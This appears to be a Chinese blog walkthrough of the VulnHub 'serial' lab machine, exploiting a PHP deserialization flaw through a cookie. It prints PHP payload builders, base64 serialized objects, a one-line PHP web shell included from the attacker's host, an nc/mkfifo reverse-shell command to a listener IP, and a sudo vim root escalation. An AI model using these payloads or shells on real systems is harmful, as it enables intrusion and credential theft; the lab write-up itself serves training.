反序列化漏洞靶机实战-serial

一.安装靶机

下载地址为https://download.vulnhub.com/serial/serial.zip,安装好后开启靶机,这里并不需要我们去登录,直接扫描虚拟机nat模式下c网段的ip,看看哪个的80端口开放,然后直接去访问

二.查找cookie

访问靶机ip后来到这样一个页面,按下f12检查,打开网络监视器

重新刷新一次页面后会出现两个流量,一个访问为200一个为404,我们点击200的流量,然后查看右边的消息头,可以在cookie中找到一串编码

我们将其解码后发现内容为

复制代码
O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}},这是一串字符序列,其中O代表的是object-项目,4则是项目名称字符数量,而项目名称则是User,2代表项目数量,10为第一个项目的字符长度,s为类型-string,以此类推,我们先将其保存起来

三.查询目录

我们利用kali去爆破靶机网站的目录,这里可以看到有一个backup目录可以访问

访问后看到一个bak.zip的压缩文件,点击可以将其下载

四.代码审计

下载解压得到三个文件,里面放着网站的源代码,这里就需要代码审计了,在index.php中我们可以看到user.class.php,它包含了user.class.php文件的代码,然后将cookie中的user的值进行base64编码

而user.name.php文件中包含了log.class.php,还定义了welcome与user两个类,而_construct()与_destruct()两个是序列化中的魔术函数,且有参数name,所以这里有反序列化漏洞

user.name.php文件还调用了log.class.php文件中的handler函数,log.class.php文件中则是定义了一个Log类,同时也有costruct函数,且handler函数对变量还进行了文件包含和输出

经过代码审计后就可以构造出pyload如下,将其放到任意一个php文件中然后访问即可得到序列化经过base64编码后的内容

<?php
  class Log {
    private $type_log = "/etc/passwd";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:13:"Logtype_log";s:11:"/etc/passwd";}}    //序列化

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==   //base64编码

五.抓包

我们在靶机网站首页开启抓包,然后刷新网页,获取到数据包,将其发送到重放器后,用我们构造的经过序列化和base64编码后的pyload去替换user后的内容然后发送即可得到passwd文件内容

六.获取shell

接下来我们就要获取shell,我们可以利用上面的pyload上传一个一句话木马,然后去连接。首先我们在自己的web根目录下新建一个3.txt文件,内容为<?php system($_GET['cmd']);?>然后再次构造pyload:(其中ip为本机ip)

<?php

class Log {
 public $type_log = "http://192.168.3.133/3.txt";
}
class User {
 public $name;
 public $wel;
function __construct($name) {
 $this->name = $name;
 $this->wel = new Log();
}
}
$us = new User("sk4");
print_r(serialize($us));
?>

将其序列化后进行base64编码:

O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:26:"http://192.168.3.133/3.txt";}}

Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6Mzoic2s0IjtzOjM6IndlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MjY6Imh0dHA6Ly8xOTIuMTY4LjMuMTMzLzMudHh0Ijt9fQ==

然后再次用其替换url后面内容发送即可成功获取shell,可以直接添加参数查数据

七.反弹shell

接下来就要反弹shell,将参数替换为如下语句,其中ip为开启监听的虚拟机,可以用虚拟机,只要能连接到靶机就行,7777则是监听的端口

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.154.128+7777+>/tmp/f

发送后即可反弹到shell

其中credentials.txt.bak为敏感文件,cat其后即可看到sk4用户的密码,得到密码后就可以连接靶机的22端口了

八.提权

首先我们输入sudo -l查看当前用户无法执行的命令,发现vim所有用户都可使用,那么我们直接输入sudo vim进入编辑模式,输入!bash即可提权

相关推荐
NiNg_1_23414 分钟前
使用Docker Compose一键部署
运维·docker·容器
萠哥啥都行18 分钟前
Linux安装Docker以及Docker入门操作
运维·docker·容器
小江湖199424 分钟前
元数据保护者,Caesium压缩不丢重要信息
运维·学习·软件需求·改行学it
gopher951132 分钟前
linux驱动开发-中断子系统
linux·运维·驱动开发
dot.Net安全矩阵1 小时前
.NET内网实战:通过命令行解密Web.config
前端·学习·安全·web安全·矩阵·.net
河南宽信李工1503806 16861 小时前
测绘航空摄影专项资质在洛阳市的获取流程
服务器
sec0nd_1 小时前
1网络安全的基本概念
网络·安全·web安全
吃面不喝汤661 小时前
如何配置和使用自己的私有 Docker Registry
运维·docker·容器
AORO_BEIDOU2 小时前
防爆手机+鸿蒙系统,遨游通讯筑牢工业安全基石
5g·安全·智能手机·信息与通信·harmonyos
Rookie_explorers2 小时前
Linux下go环境安装、环境配置并执行第一个go程序
linux·运维·golang